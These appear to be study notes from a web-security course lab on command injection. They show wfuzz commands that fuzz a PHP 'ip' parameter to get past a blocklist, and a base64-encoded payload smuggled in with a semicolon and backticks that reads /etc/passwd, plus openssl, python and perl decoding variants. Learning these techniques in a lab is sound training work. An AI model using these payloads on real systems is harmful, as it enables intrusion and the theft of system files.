Enumerate Blocklist:
-
First use wfuzz to fuzz the parameter:
wfuzz -c -z file,/home/kali/oswa/commandinjection/command_injection_custom.txt --hc 404 http://ci-sandbox:80/php/blocklisted.php?ip=127.0.0.1FUZZ -
Hide the response length of failed ones using
--hh:wfuzz -c -z file,/home/kali/oswa/commandinjection/command_injection_custom.txt --hc 404 --hh 1156 http://ci-sandbox:80/php/blocklisted.php?ip=127.0.0.1FUZZ -
Repeat step 2 until you see one that works.
Base64 Encode: (need backtick `)
-
Run this on our attacker machine first:
echo "cat /etc/passwd" | base64 -
Use the base64 encoded as the payload:
;`echo%20%22Y2F0IC9ldGMvcGFzc3dkCg==%22%20|base64%20-d` -
Alternatively if
base64binary is not available:`echo -n "d2hvYW1p" | openssl base64 -d -A``echo -n "d2hvYW1p" | python3 -m base64 -d``echo -n "d2hvYW1p" | perl -MMIME::Base64 -ne 'print decode_base64($_)'`